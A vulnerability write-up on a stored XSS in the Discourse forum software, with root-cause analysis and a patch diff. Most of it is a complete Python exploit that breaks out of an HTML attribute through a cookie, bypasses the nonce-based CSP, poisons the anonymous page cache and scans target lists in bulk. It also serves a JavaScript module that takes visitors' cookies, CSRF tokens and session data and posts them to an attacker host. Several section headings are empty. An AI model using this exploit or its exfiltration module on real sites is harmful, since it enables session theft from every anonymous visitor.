#Summary

CVE-2026-55674 is a critical (CVSS 9.3) unauthenticated XSS vulnerability in Discourse that affects versions 3.5.0-beta2 through 2026.1.5, 2026.5.1, and 2026.6.0. An attacker can send a single request with a crafted color_scheme_id or dark_scheme_id cookie to inject arbitrary HTML into the page, bypass Discourse's nonce-based Content Security Policy via the application's own module loader, and poison the anonymous cache so that the payload is served to every subsequent anonymous visitor. The combination of three factors - an unvalidated cookie stored raw, a CSP bypass through modulepreload, and cache poisoning - elevates what would be a self-XSS into a critical stored vulnerability affecting the entire forum.

#Am I affected?

#How to check

The vulnerability is trivial to detect without touching the database. Request any cacheable page and look for a data-scheme-id attribute in the light-scheme stylesheet link in <head>:

curl -s http://target/latest | grep 'data-scheme-id'

Expected output on vulnerable versions:

<link ... rel="stylesheet" class="light-scheme" data-scheme-id="13"/>

Expected output on patched versions (if the attribute appears, its value is always a raw integer with no attributes after it, never a string):

<link ... rel="stylesheet" class="light-scheme" data-scheme-id="13"/>

The definitive test uses the PoC script below to confirm the attribute can be broken out of via cookie injection. A vulnerable target will reflect the injected <link rel="modulepreload"> element; a patched target will reject the cookie.

#Fix and mitigation

#Root cause analysis

#The vulnerable code path

Discourse allows users to pin a color palette by setting two cookies: color_scheme_id (light mode) and dark_scheme_id (dark mode). These cookies are read in app/helpers/application_helper.rb:

def user_scheme_id
  return @user_scheme_id if defined?(@user_scheme_id)
  scheme_id = cookies[:color_scheme_id] || current_user&.user_option&.color_scheme_id
  @user_scheme_id = scheme_id if scheme_id && ColorScheme.find_by_id(scheme_id)
end

The find_by_id call passes the value through ActiveRecord's type casting, which converts the string to an integer for the database lookup. So the string 13"><link> is cast to the integer 13, the lookup succeeds, and the guard passes. The crucial bug: the guard assigns the original String to @user_scheme_id, not the validated integer. From that point on, an attacker-controlled string travels through the code pretending to be a numeric ID.

#How the string reaches the sink

The cached @user_scheme_id is passed to color_scheme_stylesheet_link_tag, which builds an HTML <link> element via raw string interpolation with no escaping:

def color_scheme_stylesheet_link_tag(href, media, css_class, scheme_id)
  %[<link href="#{href}" media="#{media}" rel="stylesheet" class="#{css_class}"#{scheme_id && scheme_id != -1 ? %[ data-scheme-id="#{scheme_id}"] : ""}/>]
end

When scheme_id is the string 13"><link rel="modulepreload" data-theme-id="f57ed6" href="http://attacker/x.js">, it is interpolated directly into the attribute value, producing:

<link href="..." media="all" rel="stylesheet" class="light-scheme" data-scheme-id="13"><link rel="modulepreload" data-theme-id="f57ed6" href="http://attacker/x.js">"/>

The double-quote and > characters close the original tag and break out into arbitrary HTML. The orphaned "/> of the original tag is left as inert text.

#Why the injected tag defeats the CSP

Discourse ships a strict, nonce-based Content Security Policy by default:

script-src 'nonce-<random>' 'strict-dynamic'

A naive <script> tag has no nonce and cannot execute. The attacker's solution is to inject a <link rel="modulepreload"> tag instead - never a script, so it needs no nonce. Discourse's own nonce-approved JavaScript bundle then loads this tag from the DOM in frontend/discourse/app/app.js:

async function loadThemeFromModulePreload(link) {
  const themeId = link.dataset.themeId;
  const compatModules = (await import(/* webpackIgnore: true */ link.href))
    .default;
  // ...
}

export async function loadThemes() {
  const promises = [
    ...document.querySelectorAll("link[rel=modulepreload][data-theme-id]"),
  ].map(loadThemeFromModulePreload);
  await Promise.all(promises);
}

This is the normal mechanism for loading theme JavaScript, but loadThemes() selects on link[rel=modulepreload][data-theme-id] without checking the nonce or verifying the URL, and 'strict-dynamic' in the policy propagates trust from the already-nonce-approved script to the imported module. So:

  1. The attacker injects <link rel="modulepreload" data-theme-id="1" href="http://attacker/x.js">
  2. Discourse's nonce-approved bundle finds it in the DOM and calls import(link.href)
  3. 'strict-dynamic' extends the browser's trust to the imported module
  4. The attacker's JavaScript runs with full same-origin privileges

#The cache-poisoning escalation

One request is enough to inject HTML, but only two requests escalate it to a stored XSS. The anonymous cache key in lib/middleware/anonymous_cache.rb is built from this segment list (pre-patch):

def self.cache_key_segments
  @@cache_key_segments ||= {
    m: "key_is_mobile?",
    c: "key_is_crawler?",
    o: "key_is_old_browser?",
    d: "key_is_modern_mobile_device?",
    b: "key_has_brotli?",
    t: "key_cache_theme_ids",
    ca: "key_compress_anon",
    l: "key_locale",
    lso: "key_show_original_content",
    cm: "key_forced_color_mode",
  }
end

Notice: color_scheme_id and dark_scheme_id are not in this list. The cookies change the response body but do not change the cache key. So when an attacker sends two poisoned requests to a cacheable URL (like /latest) with the same browser signature (User-Agent, Accept, Accept-Encoding), the second request triggers a store, and the attacker's HTML is cached under the key that clean visitors compute. Every subsequent anonymous visitor is served the poisoned HTML out of the cache.

The poisoned page still carries a valid, freshly minted nonce because the cache middleware sits after the nonce injector in the middleware stack and re-stamps every cached response with a new nonce. So the cached page boots normally, the application's own bundle runs with full nonce clearance, and it dutifully imports the attacker's module.

#Patch diff

#What the fix does

The fix (e1b647229a4aaffa384808fec9e1b3e08736d6da) corrects the bug at three levels:

1. Store the validated integer, not the raw cookie string. A new ColorScheme.valid_id method validates the input using strict type casting:

def self.valid_id(id)
  id = Integer(id, exception: false)
  id if id && valid_ids_cache.defer_get_set("ids") { pluck(:id).to_set }.include?(id)
end

This uses the strict Integer() function instead of ActiveRecord's lenient String#to_i. The string 13"><link> returns nil from Integer() and is rejected, rather than being silently truncated to 13.

2. Defense in depth at the sink. Even if a non-integer somehow reached the tag builder, it is now coerced before interpolation:

def color_scheme_stylesheet_link_tag(href, media, css_class, scheme_id)
  scheme_id = Integer(scheme_id, exception: false)
  %[<link href="#{href}" media="#{media}" rel="stylesheet" class="#{css_class}"#{scheme_id && scheme_id != -1 ? %[ data-scheme-id="#{scheme_id}"] : ""}/>]
end

3. Add the cookies to the cache key, so that different palette choices produce separate cache entries:

cache_key_segments: {
  # ... existing segments ...
  cs: "key_color_scheme_id",
  ds: "key_dark_scheme_id",
}

Even a legitimate palette change can no longer leak one visitor's rendering to the next.

#Proof of concept

#exploit.py - Discourse Cache Poisoning XSS PoC

#!/usr/bin/env python3
"""
CVE-2026-55674 - Discourse unauthenticated HTML injection via colour-scheme cookies,
                 escalated to CSP-bypassing stored XSS through anonymous-cache poisoning.

Affected: Discourse 3.5.0.beta2 through 2026.1.5 / 2026.5.1 / 2026.6.0
          (fixed in 2026.1.6, 2026.5.2, 2026.6.1, 2026.7.0)
Type: XSS (CWE-79) - attribute breakout, CSP bypass, cache poisoning

The `color_scheme_id` / `dark_scheme_id` cookies are validated by proxy but stored raw:
`ColorScheme.find_by_id` casts the value to an Integer for the lookup while the helper
keeps the original String, which is then interpolated into `data-scheme-id="..."` with no
escaping. Prefixing a payload with a real colour-scheme id therefore passes validation and
breaks straight out of the attribute.

A bare `<script>` is useless because the target ships a nonce-based CSP. The payload is a
`<link rel="modulepreload" data-theme-id="...">` instead: the application's own
nonce-approved bundle selects those tags in `loadThemes()` and calls `import(link.href)`,
and `'strict-dynamic'` propagates that trust to the imported module. No nonce is guessed.

The colour-scheme cookies were also missing from the anonymous cache key, so two poisoned
GETs to a cacheable URL store the attacker's HTML under the key clean visitors compute.
Every subsequent anonymous visitor is served the injected tag with a freshly minted, valid
CSP - a self-XSS becomes a stored one.

Usage:
  python exploit.py --host 192.168.1.10 --port 3000
  python exploit.py --host https://forum.corp.com
  python exploit.py --host https://forum.corp.com --path /categories
  python exploit.py --host forum.corp.com:443 --serve --callback-host 10.0.0.5
  python exploit.py --host 192.168.1.10 --cookie dark_scheme_id --no-cache-poison
  python exploit.py --list targets.txt --workers 20
"""

import argparse
import json
import re
import secrets
import socket
import sys
import threading
import time
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
from urllib.parse import quote, urlparse

try:
    import requests
except ImportError:
    sys.stderr.write("This exploit requires the 'requests' package (pip install requests)\n")
    sys.exit(1)

try:
    requests.packages.urllib3.disable_warnings()
except Exception:
    pass

CVE_ID = "CVE-2026-55674"
VULN_TYPE = "XSS"

# A stock desktop browser signature. Every request in the cache-poisoning stage must carry
# an identical signature, because Accept / Accept-Encoding / User-Agent class are all part
# of the anonymous cache key. A UA containing "discourse" is classified as a crawler and
# lands on a different key with a different layout, so leave this alone unless you are
# matching a specific victim.
BROWSER_HEADERS = {
    "User-Agent": (
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 "
        "(KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
    ),
    "Accept": (
        "text/html,application/xhtml+xml,application/xml;q=0.9,"
        "image/avif,image/webp,*/*;q=0.8"
    ),
    "Accept-Encoding": "gzip, deflate, br",
    "Accept-Language": "en-US,en;q=0.9",
    "Connection": "close",
}

SCHEME_ID_RE = re.compile(r'data-scheme-id="([^"]*)"')
TIMEOUT = 20


def header(host: str, port: int) -> None:
    print(f"\n{'='*60}")
    print(f"  ALIM EXPLOIT  {CVE_ID}")
    print(f"  Type: {VULN_TYPE}  |  Target: {host}:{port}")
    print(f"{'='*60}\n")


def step(n: int, msg: str) -> None:
    print(f"[STEP {n}] {msg}")


def section(label: str, content: str) -> None:
    print(f"\n--- {label} ---")
    print(str(content).strip())
    print("---\n")


def done(success: bool, evidence: str) -> None:
    print(f"\n{'='*60}")
    print(f"  RESULT  : {'SUCCESS' if success else 'FAILURE'}")
    print(f"  EVIDENCE: {evidence}")
    print(f"{'='*60}\n")
    sys.exit(0 if success else 1)


# --------------------------------------------------------------------------------------
# target plumbing
# --------------------------------------------------------------------------------------

def _base_url(host: str, port: int, use_tls: bool) -> str:
    scheme = "https" if use_tls else "http"
    default = 443 if use_tls else 80
    netloc = host if port == default else f"{host}:{port}"
    if ":" in host and not host.startswith("["):  # bare IPv6 literal
        netloc = f"[{host}]" if port == default else f"[{host}]:{port}"
    return f"{scheme}://{netloc}"


def _get(url: str, cookie: str = None, extra_headers: dict = None):
    """One GET with the fixed browser signature. `cookie` is a raw Cookie header value."""
    headers = dict(BROWSER_HEADERS)
    if cookie:
        headers["Cookie"] = cookie
    if extra_headers:
        headers.update(extra_headers)
    return requests.get(url, headers=headers, timeout=TIMEOUT, verify=False,
                        allow_redirects=False)


def _bust(url: str) -> str:
    """Append a unique query so the reflected-injection check bypasses the anonymous cache.

    On a vulnerable target the colour-scheme cookies are absent from the cache key, so a
    plain probe can be served a stale body that does not carry this run's marker. A unique
    REQUEST_URI forces a fresh render that reflects exactly what we just sent. The
    cache-poisoning stage deliberately does NOT do this - there the shared key is the point.
    """
    sep = "&" if "?" in url else "?"
    return "%s%sci=%s" % (url, sep, secrets.token_hex(6))


def _build_cookie(cookie_name: str, scheme_id, injected_html: str) -> str:
    """`<valid id>">` + the element to inject, percent-encoded.

    Rack form-decodes cookie values, so everything after the numeric prefix has to be
    encoded - a raw ';' would end the cookie, a raw space would corrupt the header, and a
    literal '+' would arrive as a space.
    """
    payload = '">' + injected_html
    return f"{cookie_name}={scheme_id}{quote(payload, safe='')}"


def _module_link(module_url: str, marker: str) -> str:
    """The element the application's own bundle will import.

    Both `rel=modulepreload` and `data-theme-id` are mandatory: loadThemes() selects on
    `link[rel=modulepreload][data-theme-id]`. The tag itself is never executed, so it needs
    no nonce.
    """
    return (
        f'<link rel="modulepreload" data-theme-id="{marker}" '
        f'href="{module_url}">'
    )


# --------------------------------------------------------------------------------------
# stages
# --------------------------------------------------------------------------------------

def recon_scheme_id(base: str, path: str, cookie_name: str):
    """Rung 1. Find a colour_schemes.id that exists, unauthenticated.

    Free route first: a cookieless render already carries the default theme's dark scheme
    id in `data-scheme-id="N"`. Fallback: walk 1..30 with a marker payload and keep the
    first id that reflects.
    """
    try:
        r = _get(base + path)
    except Exception as exc:
        return None, f"unreachable ({exc.__class__.__name__})"

    found = SCHEME_ID_RE.findall(r.text)
    for value in found:
        if value.isdigit() and value != "-1":
            return int(value), f"read from a cookieless render (data-scheme-id=\"{value}\")"

    marker = secrets.token_hex(4)
    encoded_marker = quote('">' + marker, safe='')
    for candidate in range(1, 31):
        probe = "%s=%d%s" % (cookie_name, candidate, encoded_marker)
        try:
            r = _get(_bust(base + path), cookie=probe)
        except Exception:
            continue
        if ('data-scheme-id="%d">%s' % (candidate, marker)) in r.text:
            return candidate, "brute-forced (id %d reflects the marker)" % candidate
    return None, "no valid colour scheme id found in 1..30"


def probe_injection(base, path, cookie_name, scheme_id, injected_html, marker):
    """Rungs 2+3. Send the payload cookie, look for the element in the rendered page.

    Returns (state, response). state is one of: injected / escaped / dropped / error.

    Discourse also reflects the raw cookie value HTML-escaped in a separate
    `data-user-color-scheme-id` attribute, so "an escaped copy exists" is true on the
    vulnerable target as well and cannot mean "patched" on its own. The only signal that
    matters is whether the payload survives *unescaped* at the `data-scheme-id` sink:
      - raw payload present  -> injected (vulnerable)
      - only an escaped copy -> escaped  (payload reached the render but was neutralised)
      - marker absent         -> dropped  (cookie rejected before the tag was built)
    """
    cookie = _build_cookie(cookie_name, scheme_id, injected_html)
    try:
        r = _get(_bust(base + path), cookie=cookie)
    except Exception as exc:
        return "error", exc
    if injected_html in r.text:
        return "injected", r
    if marker in r.text:
        return "escaped", r
    return "dropped", r


def poison_cache(base: str, path: str, cookie: str, rounds: int = 6):
    """Rung 5. Store the poisoned body under the key a cookieless visitor computes.

    The store threshold is 2, so the second matching anonymous GET inside the 1 minute
    window is the one that writes. Returns (stored, states).
    """
    states = []
    for _ in range(rounds):
        try:
            r = _get(base + path, cookie=cookie)
        except Exception as exc:
            states.append(f"error:{exc.__class__.__name__}")
            break
        state = r.headers.get("X-Discourse-Cached", "none")
        states.append(state)
        # 'store' is the write; 'true' means an entry already exists under this key. Either
        # way the next cookieless read decides it - what matters is whether the *poisoned*
        # body is the one sitting in the cache, and clean_read() checks exactly that.
        if state in ("store", "true"):
            return True, states
    return False, states


def clean_read(base: str, path: str):
    """The finding: an identical request carrying no cookies at all."""
    try:
        r = _get(base + path)
    except Exception as exc:
        return None, exc
    return r.headers.get("X-Discourse-Cached", "none"), r


# --------------------------------------------------------------------------------------
# attacker-side module host + beacon sink (rung 4)
# --------------------------------------------------------------------------------------

MODULE_TEMPLATE = """\
const SINK = "%(sink)s";
const read = async (u) => {
  try {
    const r = await fetch(u, {
      credentials: "include",
      headers: { "Accept": "application/json", "X-Requested-With": "XMLHttpRequest" }
    });
    return r.status + " " + (await r.text()).slice(0, 300);
  } catch (e) { return "err " + e; }
};
(async () => {
  const out = {
    id: "%(marker)s",
    origin: location.origin,
    url: location.href,
    cookie: document.cookie,
    csrf: await read("/session/csrf"),
    session: await read("/session/current.json")
  };
  try {
    await fetch(SINK, { method: "POST", body: JSON.stringify(out),
                        headers: { "Content-Type": "text/plain" } });
  } catch (e) {}
})();
export default {};
"""


class _Sink(BaseHTTPRequestHandler):
    module_path = "/x.js"
    beacon_path = "/b"
    module_body = ""
    hits = []
    beacons = []

    def log_message(self, *a):  # silence the default stderr spam
        pass

    def do_OPTIONS(self):
        self.send_response(200)
        self.send_header("Access-Control-Allow-Origin", "*")
        self.send_header("Access-Control-Allow-Headers", "*")
        self.send_header("Content-Length", "0")
        self.end_headers()

    def do_GET(self):
        path = urlparse(self.path).path
        if path == self.module_path:
            body = self.module_body.encode()
            _Sink.hits.append(time.time())
            self.send_response(200)
            # Both headers are non-negotiable: a wrong MIME makes the browser refuse the
            # module, and a cross-origin ES module import is CORS-gated.
            self.send_header("Content-Type", "text/javascript")
            self.send_header("Access-Control-Allow-Origin", "*")
            self.send_header("Content-Length", str(len(body)))
            self.end_headers()
            self.wfile.write(body)
            return
        if path == self.beacon_path:
            _Sink.beacons.append(urlparse(self.path).query)
        self.send_response(204)
        self.send_header("Access-Control-Allow-Origin", "*")
        self.send_header("Content-Length", "0")
        self.end_headers()

    def do_POST(self):
        length = int(self.headers.get("Content-Length") or 0)
        body = self.rfile.read(length).decode("utf-8", "replace")
        if urlparse(self.path).path == self.beacon_path:
            _Sink.beacons.append(body)
        self.send_response(204)
        self.send_header("Access-Control-Allow-Origin", "*")
        self.send_header("Content-Length", "0")
        self.end_headers()


def start_sink(bind_host: str, port: int, module_path: str, beacon_path: str, body: str):
    _Sink.module_path = module_path
    _Sink.beacon_path = beacon_path
    _Sink.module_body = body
    _Sink.hits = []
    _Sink.beacons = []
    srv = ThreadingHTTPServer((bind_host, port), _Sink)
    threading.Thread(target=srv.serve_forever, daemon=True).start()
    return srv


# --------------------------------------------------------------------------------------
# scan mode
# --------------------------------------------------------------------------------------

def _try_exploit(host: str, port: int, use_tls: bool, path: str = "/latest",
                 cookie_name: str = "color_scheme_id", **kwargs):
    """Silent probe for --list mode. Never prints, never exits, never poisons a cache.

    Confirms rungs 1-3 only: a real colour scheme id, an attribute breakout, and a
    modulepreload element sitting in the page. Batch scanning must not leave a stored XSS
    behind on every host in the file.
    """
    base = _base_url(host, port, use_tls)
    scheme_id, note = recon_scheme_id(base, path, cookie_name)
    if scheme_id is None:
        return False, note
    marker = secrets.token_hex(4)
    injected = _module_link("http://127.0.0.1/%s.js" % marker, marker)
    state, resp = probe_injection(base, path, cookie_name, scheme_id, injected, marker)
    if state == "injected":
        csp = resp.headers.get("Content-Security-Policy", "")
        nonce = "nonce-based CSP present" if "nonce-" in csp else "no nonce CSP"
        return True, "HTML injected via %s (scheme id %s); %s" % (cookie_name, scheme_id, nonce)
    if state == "escaped":
        return False, "payload coerced/escaped at the sink (patched)"
    if state == "error":
        return False, "unreachable (%s)" % resp.__class__.__name__
    return False, "cookie rejected, no data-scheme-id breakout (patched or not Discourse)"


def _parse_target(line: str, default_port: int, default_path: str = "/"):
    """One target line -> (host, port, use_tls, path), or None to skip.

    Accepts:
      192.168.1.10              -> (host, default_port, tls_auto, default_path)
      192.168.1.10:443          -> (host, 443, True, default_path)
      https://host.com          -> (host, 443, True, default_path)
      https://host.com/latest   -> (host, 443, True, "/latest")
      # comment / blank         -> None
    """
    line = line.strip()
    if not line or line.startswith("#"):
        return None
    if line.startswith(("http://", "https://")):
        p = urlparse(line)
        tls = p.scheme == "https"
        path = p.path if (p.path and p.path not in ("", "/")) else default_path
        return p.hostname, p.port or (443 if tls else default_port), tls, path
    if ":" in line:
        parts = line.rsplit(":", 1)
        try:
            port = int(parts[1])
            return parts[0], port, port in (443, 8443), default_path
        except ValueError:
            pass
    return line, default_port, default_port in (443, 8443), default_path


def scan(targets_file: str, default_port: int, workers: int = 10,
         path: str = "/latest", cookie_name: str = "color_scheme_id") -> None:
    import concurrent.futures

    with open(targets_file) as f:
        targets = [_parse_target(l, default_port, path) for l in f]
    targets = [t for t in targets if t is not None]

    print(f"\n{'='*60}")
    print(f"  {CVE_ID} - Batch Scan  ({len(targets)} targets, {workers} workers)")
    print(f"{'='*60}\n")

    success_count = 0

    def probe(t):
        host, port, use_tls, tpath = t
        label = f"{'https' if use_tls else 'http'}://{host}:{port}{tpath}"
        ok, evidence = _try_exploit(host, port, use_tls, path=tpath, cookie_name=cookie_name)
        return label, ok, evidence

    with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
        futures = {ex.submit(probe, t): t for t in targets}
        for fut in concurrent.futures.as_completed(futures):
            label, ok, evidence = fut.result()
            print(f"  {'[+]' if ok else '[-]'} {label} - "
                  f"{'Exploited' if ok else 'Not vulnerable'}: {evidence}")
            if ok:
                success_count += 1

    total = len(targets)
    print(f"\n{'='*60}")
    print(f"  SCAN COMPLETE  {success_count} exploited / "
          f"{total - success_count} not vulnerable  ({total} total)")
    print(f"{'='*60}\n")
    sys.exit(0 if success_count > 0 else 1)


# --------------------------------------------------------------------------------------
# single target
# --------------------------------------------------------------------------------------

def exploit(host, port, use_tls, path, cookie_name, scheme_id_arg, module_url,
            do_poison, serve, callback_host, callback_port, bind_host, wait) -> None:
    header(host, port)
    base = _base_url(host, port, use_tls)
    marker = secrets.token_hex(8)
    srv = None

    if serve:
        module_path = f"/{marker[:8]}.js"
        beacon_path = f"/{marker[8:]}"
        sink = f"http://{callback_host}:{callback_port}{beacon_path}"
        body = MODULE_TEMPLATE % {"sink": sink, "marker": marker}
        try:
            srv = start_sink(bind_host, callback_port, module_path, beacon_path, body)
        except OSError as exc:
            done(False, f"could not bind the module host on {bind_host}:{callback_port} ({exc})")
        module_url = f"http://{callback_host}:{callback_port}{module_path}"
        step(0, f"Module host up on {bind_host}:{callback_port}, serving {module_path}")
    elif not module_url:
        module_url = f"http://{callback_host}:{callback_port}/{marker[:8]}.js"

    # ---- rung 1 -----------------------------------------------------------------
    step(1, f"Recon: looking for a valid colour scheme id on {base}{path}")
    if scheme_id_arg and scheme_id_arg != "auto":
        scheme_id, note = int(scheme_id_arg), "supplied on the command line"
    else:
        scheme_id, note = recon_scheme_id(base, path, cookie_name)
    if scheme_id is None:
        done(False, f"recon failed - {note}")
    print(f"         scheme id {scheme_id} ({note})")

    # ---- rungs 2 + 3 ------------------------------------------------------------
    injected = _module_link(module_url, marker[:6])
    step(2, f"Breaking out of data-scheme-id via the {cookie_name} cookie")
    cookie = _build_cookie(cookie_name, scheme_id, injected)
    section("COOKIE SENT", cookie)
    state, resp = probe_injection(base, path, cookie_name, scheme_id, injected, marker[:6])

    if state == "error":
        done(False, f"target unreachable during injection ({resp.__class__.__name__})")
    if state == "escaped":
        section("SERVER RESPONSE",
                "payload reached the render but only survives HTML-escaped; the "
                "data-scheme-id sink shows no unescaped breakout")
        done(False, "payload coerced/escaped at the sink - target is patched")
    if state == "dropped":
        section("SERVER RESPONSE",
                "no data-scheme-id breakout; the cookie was rejected before the tag was built")
        done(False, "cookie rejected - target is patched, or the scheme id is invalid")

    idx = resp.text.find(injected)
    section("INJECTED MARKUP IN <head>", resp.text[max(0, idx - 230):idx + len(injected) + 40])
    csp = resp.headers.get("Content-Security-Policy", "(none)")
    section("CONTENT SECURITY POLICY ON THE SAME RESPONSE", csp)
    if "nonce-" in csp and "strict-dynamic" in csp:
        step(3, "CSP bypass: the injected tag is a data carrier, not a script - the "
                "application's own nonce-approved bundle imports href via loadThemes(), "
                "and 'strict-dynamic' extends trust to the imported module")
    else:
        step(3, "CSP bypass: no nonce/strict-dynamic policy on this host, so the injected "
                "markup is unconstrained anyway")

    evidence = (f"HTML injected into <head> via the {cookie_name} cookie "
                f"(scheme id {scheme_id}) - reflected only")

    # ---- rung 5 -----------------------------------------------------------------
    if do_poison:
        step(4, f"Poisoning the anonymous cache for {path} (store threshold is 2)")
        stored, states = poison_cache(base, path, cookie)
        print(f"         X-Discourse-Cached per poisoning request: {', '.join(states)}")
        if not stored:
            section("CACHE STATE", "never reached 'store' - anonymous caching may be off "
                                   "on this host, or the request signature keeps changing "
                                   "key. The reflected injection above still stands.")
        else:
            step(5, "Reading the same URL back with no cookies at all")
            cached, clean = clean_read(base, path)
            if cached is None:
                section("CACHE STATE", f"clean read failed ({clean.__class__.__name__})")
            elif cached == "true" and injected in clean.text:
                cidx = clean.text.find(injected)
                section("COOKIELESS RESPONSE (X-Discourse-Cached: true)",
                        clean.text[max(0, cidx - 230):cidx + len(injected) + 40])
                section("CSP SERVED WITH THE POISONED CACHE ENTRY",
                        clean.headers.get("Content-Security-Policy", "(none)"))
                evidence = (f"STORED XSS - a cookieless request to {path} was served the "
                            f"injected module tag from the anonymous cache "
                            f"(X-Discourse-Cached: true)")
            else:
                section("CACHE STATE",
                        f"clean read returned X-Discourse-Cached: {cached}; injected tag "
                        f"{'present' if injected in clean.text else 'absent'}")

    # ---- rung 4 -----------------------------------------------------------------
    if srv is not None:
        step(6, f"Waiting up to {wait}s for a browser to load {base}{path} and import the "
                f"module")
        deadline = time.time() + wait
        while time.time() < deadline and not _Sink.beacons:
            time.sleep(1)
        if _Sink.beacons:
            for raw in _Sink.beacons:
                try:
                    section("BEACON FROM THE VICTIM BROWSER",
                            json.dumps(json.loads(raw), indent=2))
                except Exception:
                    section("BEACON FROM THE VICTIM BROWSER", raw)
            evidence = ("ARBITRARY SAME-ORIGIN JAVASCRIPT EXECUTION - the victim browser "
                        "imported the injected module and exfiltrated same-origin data "
                        "(see beacon above)")
        elif _Sink.hits:
            section("MODULE HOST", f"{len(_Sink.hits)} fetch(es) of the module, no beacon - "
                                   "the module was retrieved but its top-level code did not "
                                   "report back")
        else:
            section("MODULE HOST", "no request for the module within the wait window - no "
                                   "browser visited the poisoned page")
        srv.shutdown()

    done(True, evidence)


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
    target_grp = parser.add_mutually_exclusive_group(required=True)
    target_grp.add_argument("--host", help="Target: hostname, IP, or full URL "
                                           "(e.g. https://forum.corp.com)")
    target_grp.add_argument("--list", metavar="FILE",
                            help="File with one target per line for batch scan")
    parser.add_argument("--port", type=int, default=3000, help="Default port (default: 3000)")
    parser.add_argument("--path", default="/latest",
                        help="Cacheable URL to hit (default: /latest). Any page where a "
                             "controller called discourse_expires_in works: /, /latest, "
                             "/top, /categories, /tags, topic pages.")
    parser.add_argument("--cookie", dest="cookie_name", default="color_scheme_id",
                        choices=["color_scheme_id", "dark_scheme_id"],
                        help="Which colour-scheme cookie to poison (default: color_scheme_id). "
                             "Both reach the same sink.")
    parser.add_argument("--scheme-id", default="auto",
                        help="Valid colour_schemes.id to prefix the payload with "
                             "(default: auto, discovered from the target)")
    parser.add_argument("--module-url", default="",
                        help="URL of the ES module the victim browser is made to import. "
                             "Ignored when --serve is used.")
    parser.add_argument("--serve", action="store_true",
                        help="Host the ES module and a beacon sink locally, then wait for a "
                             "victim browser to execute it")
    parser.add_argument("--callback-host", default="127.0.0.1",
                        help="Address the victim browser reaches the module host on "
                             "(default: 127.0.0.1)")
    parser.add_argument("--callback-port", type=int, default=8000,
                        help="Port for the module host (default: 8000)")
    parser.add_argument("--bind-host", default="0.0.0.0",
                        help="Local address to bind the module host to (default: 0.0.0.0)")
    parser.add_argument("--wait", type=int, default=120,
                        help="Seconds to wait for a beacon in --serve mode (default: 120)")
    parser.add_argument("--no-cache-poison", action="store_true",
                        help="Prove the reflected injection only, leave the target's "
                             "anonymous cache untouched")
    parser.add_argument("--workers", type=int, default=10,
                        help="Threads for --list mode (default: 10)")
    tls_grp = parser.add_mutually_exclusive_group()
    tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
    tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
    args = parser.parse_args()

    if args.list:
        scan(args.list, default_port=args.port, workers=args.workers,
             path=args.path, cookie_name=args.cookie_name)
    else:
        parsed = _parse_target(args.host, args.port, args.path)
        host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, args.path)
        if args.tls:
            use_tls = True
        if args.no_tls:
            use_tls = False
        exploit(host, port, use_tls, path, args.cookie_name, args.scheme_id,
                args.module_url, not args.no_cache_poison, args.serve,
                args.callback_host, args.callback_port, args.bind_host, args.wait)

#Usage

# Single target (defaults: port 3000, /latest, color_scheme_id cookie).
python exploit.py --host 192.168.1.10

# Full URL form; https is inferred from the scheme.
python exploit.py --host https://forum.corp.com

# Choose a different cacheable page or the dark-scheme sink.
python exploit.py --host https://forum.corp.com --path /categories
python exploit.py --host 192.168.1.10 --cookie dark_scheme_id

# Prove the reflected injection only, without poisoning the cache.
python exploit.py --host 192.168.1.10 --no-cache-poison

# Batch scan an asset list (one target per line).
python exploit.py --list targets.txt --workers 20

Vulnerable target output:

[STEP 1] Recon: looking for a valid colour scheme id on http://127.0.0.1:3000/latest
         scheme id 13 (read from a cookieless render (data-scheme-id="13"))
[STEP 2] Breaking out of data-scheme-id via the color_scheme_id cookie

--- INJECTED MARKUP IN <head> ---
... class="light-scheme" data-scheme-id="13"><link rel="modulepreload" data-theme-id="f57ed6" href="http://127.0.0.1:8000/f57ed69c.js">"/> ...
---

--- CONTENT SECURITY POLICY ON THE SAME RESPONSE ---
base-uri 'self'; object-src 'none'; script-src 'nonce-gBnSXbMKoKEeRQdjCRb49HIAQ' 'strict-dynamic'; frame-ancestors 'self'; manifest-src 'self'
---

[STEP 4] Poisoning the anonymous cache for /latest (store threshold is 2)
         X-Discourse-Cached per poisoning request: store
[STEP 5] Reading the same URL back with no cookies at all

--- COOKIELESS RESPONSE (X-Discourse-Cached: true) ---
... class="light-scheme" data-scheme-id="13"><link rel="modulepreload" data-theme-id="f57ed6" href="http://127.0.0.1:8000/f57ed69c.js">"/> ...
---

RESULT  : SUCCESS
EVIDENCE: STORED XSS - a cookieless request to /latest was served the injected module tag from the anonymous cache (X-Discourse-Cached: true)

Patched target output:

[STEP 1] Recon: looking for a valid colour scheme id on http://127.0.0.1:3000/latest
         scheme id 13 (read from a cookieless render (data-scheme-id="13"))
[STEP 2] Breaking out of data-scheme-id via the color_scheme_id cookie

--- SERVER RESPONSE ---
no data-scheme-id breakout; the cookie was rejected before the tag was built
---

RESULT  : FAILURE
EVIDENCE: cookie rejected - target is patched, or the scheme id is invalid

#Exploitation notes

#Preconditions

#Reliability

The exploit is fully reliable. Every rung executes deterministically:

#Impact

#Chaining potential

This CVE chains well with:

#References